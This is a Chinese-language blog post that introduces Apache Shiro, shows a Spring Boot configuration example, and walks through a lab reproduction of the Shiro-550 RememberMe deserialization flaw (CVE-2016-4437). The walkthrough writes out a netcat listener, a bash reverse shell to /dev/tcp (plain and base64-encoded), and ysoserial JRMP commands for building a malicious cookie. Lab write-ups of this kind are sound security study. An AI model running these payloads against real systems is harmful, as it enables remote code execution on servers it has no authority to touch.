THIS IS B3c0me

记录生活中的点点滴滴

0%

Shiro反序列化漏洞

持续更新中…

前言:

本文参考文章为:

1.https://blog.csdn.net/u012581020/article/details/130627795

2.https://blog.csdn.net/Aaron_Miller/article/details/106475088

感谢原创作者让我可以站在巨人的肩膀上乘风破浪

一、Shiro简介

Shiro 是一款轻量级的 Java 安全框架,提供了身份认证、授权、加密和会话管理等功能。它可以集成到任何 Java Web 应用程序中,并且易于使用和扩展。Shiro 的设计理念是简洁而灵活,不仅可以应用于 Web 应用程序,还可以应用于命令行、移动设备和分布式系统等各种应用场景。

1.1 概述

Shiro 是一个开源的 Java 安全框架,由 Apache 开发和维护。Shiro 可以帮助开发人员快速实现安全特性,包括身份认证、授权、加密和会话管理等。Shiro 的目标是简化 Java 安全编程,并提供更好的开发体验。

Shiro的主要特点:

  • 易于学习和使用:Shiro 设计简单,易于学习和使用。
  • 灵活性高:Shiro 可以适用于任何应用场景,支持多种应用程序类型。
  • 安全性高:Shiro 的安全性能比较优越,提供了多种方式来保护应用程序的安全性。
  • 扩展性好:Shiro 框架提供了可扩展性插件机制,可以方便地扩展框架的功能,满足不同的需求。
  • 企业级支持:Shiro 是从 Apache 基金会获得支持的框架,拥有众多企业用户。

1.2 Shiro 的基本组件

Shiro 的基本组件包括 Subject、SecurityManager 和 Realms 等。下面我们分别介绍一下这些组件的作用。

  • Subject

Subject 代表当前用户,是 Shiro 框架中最重要的组件之一。Subject 封装了用户的所有信息,包括身份(用户名和密码)和角色等。在一个应用程序中,可能有多个 Subject,每个 Subject 可以访问应用程序中的资源。

用户可以通过 Subject 登录应用程序,并执行诸如访问资源、修改个人配置等操作。Shiro 提供了简单易用的方法来管理用户的登录和退出行为,以及 Session 管理等。

  • SecurityManager

SecurityManager 是 Shiro 的核心组件,负责管理和协调整个应用程序的安全机制。它的主要职责是认证、授权、加密和会话管理等。

SecurityManager 将应用程序中的所有安全操作委托给适当的 Realms 进行处理,并存储和管理有关用户身份、角色和权限等信息。SecurityManager 还可以配置多个 Realms,以便应用程序可以集成不同的认证和授权方案。

  • Realm

Realm 是 SecurityManager 中负责处理用户身份认证和授权的组件。Shiro 支持多种不同类型的 Realm,包括 JDBC Realm、LDAP Realm、Active Directory Realm 等。

每个 Realm 负责验证用户的身份,并获取用户的权限信息,以便 SecurityManager 可以根据这些信息进行访问控制和授权。Realm 还可以实现缓存机制,提高系统性能。

1.3 Shiro 的权限控制

Shiro 提供了灵活的权限控制机制,可以对应用程序中的资源进行细粒度的访问控制。Shiro 的权限控制基于角色和权限的概念,其中:

  • 角色是用户的一组角色,可以表示用户在系统中的不同身份;
  • 权限是用户针对某个资源或操作所具有的权限。

Shiro 的权限控制机制包括以下几个步骤:

  1. 用户登录系统,通过 Subject 实例获取当前用户信息;
  2. 当用户进行某个操作时,Shiro 会根据用户请求的资源和操作类型,检查该用户是否具有执行该操作的权限。
  3. 如果用户具备该权限,则允许用户进行操作;否则,Shiro 会拒绝用户的请求,并返回相应的错误信息。

Shiro 支持多种方式来授权,包括基于角色和基于权限。角色授权是将用户分配到不同的角色,每个角色具有特定的权限,从而实现对用户的授权。权限授权是直接为用户授权某个资源或操作,从而实现对用户的授权。

1.4 Shiro 的会话管理

会话管理是 Web 应用程序中一个非常重要的安全特性。Shiro 提供了丰富的会话管理功能,包括 Cookie 管理、Session 管理和集群会话管理等。

Shiro 的会话管理机制包括以下几个步骤:

  1. 当用户登录系统时,Shiro 会自动创建一个 Session 对象,并将其关联到用户身份信息上,以便在整个应用程序生命周期内管理用户的会话状态。
  2. 用户进行某个操作时,Shiro 会检查该用户是否具有执行该操作的权限,并根据情况更新 Session 中的状态信息。
  3. 当用户退出系统时,Shiro 会清除用户的 Session 数据,并删除相关的 Session 记录。

Shiro 还支持集群会话管理,可以通过配置将会话信息存储在数据库、Redis 或其他数据源中,以便在分布式应用程序中进行会话管理。

1.5 Shiro 的加密与解密

Shiro 支持多种加密和解密算法,包括 MD5、SHA、AES 等。Shiro 不仅提供了简单易用的加密和解密 API,还提供了安全的密码管理和哈希函数实现。

在 Shiro 中,需要对密码进行加密和解密时,可以使用 Shiro 内置的加密和解密工具类。例如,我们可以使用 CredentialsMatcher 进行密码验证,或者使用 SimpleHash 类进行密码加密。

Shiro 的密码加密和解密功能的主要目的是保护用户的个人信息和隐私,防止其被黑客攻击和非法访问,从而提高系统的安全性。

1.6 Shiro 的集成开发

Shiro 可以与各种 Web 框架和数据源集成,以满足不同应用场景的需求。Shiro 的集成开发可以分为以下三个步骤:

  1. 配置 SecurityManager:首先,需要在应用程序的配置文件中配置 SecurityManager,以便为应用程序提供统一的身份验证和授权管理。
  2. 配置 Realm:其次,需要根据实际需要配置 Realm,以便根据数据库、LDAP 或其他数据源来验证用户身份,并获取用户权限信息。
  3. 配置 FilterChain:最后,需要配置 FilterChain,以便拦截访问请求,并根据用户的角色和权限等信息来判断是否允许用户进行访问。

在集成开发时,需要使用 Shiro 提供的相应 API 和插件来集成 Shiro 到应用程序中。具体来说,可以根据不同的框架和数据源选择不同的 Shiro 插件。例如,对于 Spring 应用程序,可以使用 Shiro-Spring 插件;对于数据源,可以使用 Shiro-JDBC 插件或 Shiro-LDAP 插件等。

二、Shiro配置

首先,在pox.xml中添加依赖项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<dependencies>
<!-- Spring Boot -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- MyBatis + Spring Boot -->
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.0</version>
</dependency>

<!-- Shiro -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.7.1</version>
</dependency>

<!-- Spring Shiro Integration -->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.7.1</version>
</dependency>

<!-- H2 Database -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
</dependency>

<!-- Test -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<scope>test</scope>
</dependency>
</dependencies>

在上述依赖项中,我们引入了 Spring Boot、MyBatis 和 Shiro 的相关依赖项。

然后,我们实现一个 UserMapper 接口来操作用户数据:

1
2
3
4
5
6
@Mapper
public interface IUserMapper {
User selectByUsername(String username);
Set<String> selectRolesByUsername(String username);
Set<String> selectPermissionByUsername(String username);
}

在该接口中,我们声明了 selectByUsername、selectRolesByUsername 和 selectPermissionsByUsername 三个方法,用于查询指定用户名的用户、角色和权限信息。

接下来,我们实现一个 User 实体类:

1
2
3
4
5
6
7
8
public class User implements Serializable {
private Long id;
private String username;
private String password;
private Boolean enabled;
private Set<Role> roles;
// getters and setters
}

在该类中,我们定义了 id、username、password、enabled 和 roles 属性。roles 属性为一个 Set 集合,存储用户所拥有的角色信息。

然后,我们实现一个 Role 实体类:

1
2
3
4
5
6
7
public class Role implements Serializable {
private Long id;
private String name;
private String description;
private Set<Permission> permissions;
// getters and setters
}

在该类中,我们定义了 id、name、description 和 permissions 属性。permissions 属性为一个 Set 集合,存储角色所拥有的权限信息。

最后,我们实现一个 Permission 实体类:

1
2
3
4
5
6
public class Permission implements Serializable {
private Long id;
private String name;
private String description;
// getters and setters
}

在该类中,我们定义了 id、name 和 description 属性,用于存储权限信息。

接下来,我们需要实现 ShiroConfig 类来完成 Shiro 配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@Configuration
public class ShiroConfig {

@Bean
public DefaultWebSecurityManager securityManager(Realm realm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(realm);
return securityManager;
}

@Bean
public Realm realm() {
MyShiroRealm myShiroRealm = new MyShiroRealm();
myShiroRealm.setCredentialsMatcher(hashedCredentialsMatcher());
return myShiroRealm;
}

@Bean
public CredentialsMatcher hashedCredentialsMatcher() {
HashedCredentialsMatcher credentialsMatcher = new HashedCredentialsMatcher();
credentialsMatcher.setHashAlgorithmName(Sha256Hash.ALGORITHM_NAME);
credentialsMatcher.setStoredCredentialsHexEncoded(false);
return credentialsMatcher;
}

@Bean
public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
ShiroFilterFactoryBean shiroFilter = new ShiroFilterFactoryBean();
shiroFilter.setSecurityManager(securityManager);
Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();
filterChainDefinitionMap.put("/login", "anon");
filterChainDefinitionMap.put("/logout", "logout");
filterChainDefinitionMap.put("/admin/**", "authc, roles[admin]");
shiroFilter.setFilterChainDefinitionMap(filterChainDefinitionMap);
shiroFilter.setLoginUrl("/login");
shiroFilter.setSuccessUrl("/");
shiroFilter.setUnauthorizedUrl("/unauthorized");
return shiroFilter;
}
}

在该类中,我们通过 @Bean 注解定义了 Shiro 的安全管理器、Realm、CredentialsMatcher 和过滤器链等相关配置。其中,我们使用 MyShiroRealm 来连接数据库,并设置了密码加密算法为 SHA-256。

然后,我们可以定义一个 UserController 类来处理用户相关的请求和操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@RestController
public class UserController {

@Autowired
private UserService userService;

@PostMapping("/login")
public String login(@RequestParam String username, @RequestParam String password) {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);
try {
subject.login(token);
return "login success";
} catch (AuthenticationException e) {
return "login failed";
}
}

@GetMapping("/admin/users")
@RequiresRoles("admin")
public List<User> getUsers() {
return userService.getAllUsers();
}
}

在该类中,我们定义了 login 方法用于进行身份认证操作,接受用户名和密码参数,并调用 Shiro 提供的 Subject 对象对用户进行身份认证。如果身份认证成功,则返回字符串 “login success”,否则返回 “login failed”。

另外,getUsers 方法用于获取所有用户列表,在访问该 URL 时,需要用户具有 admin 角色权限才能访问。我们可以使用 @RequiresRoles 注解来对该方法进行授权管理。

最后,我们实现一个 UserService 类来操作用户数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@Service
public class UserServiceImpl implements UserService {

@Autowired
private UserMapper userMapper;

@Override
public User getByUsername(String username) {
return userMapper.selectByUsername(username);
}

@Override
public Set<String> getRolesByUsername(String username) {
return userMapper.selectRolesByUsername(username);
}

@Override
public Set<String> getPermissionsByUsername(String username) {
return userMapper.selectPermissionsByUsername(username);
}

@Override
public List<User> getAllUsers() {
return userMapper.selectAllUsers();
}
}

在该类中,我们使用 UserMapper 接口来访问数据库,实现了根据用户名获取用户、获取用户角色和权限以及获取所有用户列表的方法。

三、Shiro漏洞

3.1 Shiro反序列化导致命令执行(Shiro-550 CVE-2016-4437)

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

  1. 检索RememberMe Cookie的值
  2. Base 64解码
  3. AES解密(加密密钥硬编码)
  4. 进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。

影响版本
  • Apache Shiro < 1.2.4
漏洞特征

进行登录,返回包中查看是否有rememberMe=deleteMe字段

漏洞环境搭建
  • 受害者IP:192.168.19.208(vulhub, docker)
  • 攻击者IP:192.168.19.127
  • dockercompose up -d

出现如下界面说明搭建成功:

POC:

输入用户名和密码:admin admin,进行抓包

发现含有rememberMe=deleteMe字段(漏洞特征)

EXP:

方法一:使用ShiroExploit工具

下载地址:https://github.com/feihong-cs/ShiroExploit

  • 输入目标地址,选择目标对象,点击下一步

  • 点击下一步

  • 反弹shell

方法二:ysoserial+shiroexploit

  • 抓取登录的请求包

  • 在攻击机开启三个终端:

    • 终端1:nc -lvvp 81

    • 终端2:

      • bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (执行的命令)
      • bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i} (对执行的命令进行Base64编码)
      • java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 “ bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i}” (ysoserial在19999端口监听
    • 终端3:

      • 生成payload: java -jar ysoserial.jar JRMPClient “192.168.159.128:19999” > /tmp/jrmp.ser

      • 对payload进行编码: java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

(这里开始由于shiroexp.jar版本问题,Java报错了,使用原博主的图片,自己主要走一下流程)

  • 将构造的序列化编码cookie通过登录包发送到服务端(这里必须登录成功状态下)

  • 成功收到shell

防御措施
  • 升级Shiro到最新版本
  • WAF拦截Cookie中长度过大的rememberMe值

欢迎关注我的其它发布渠道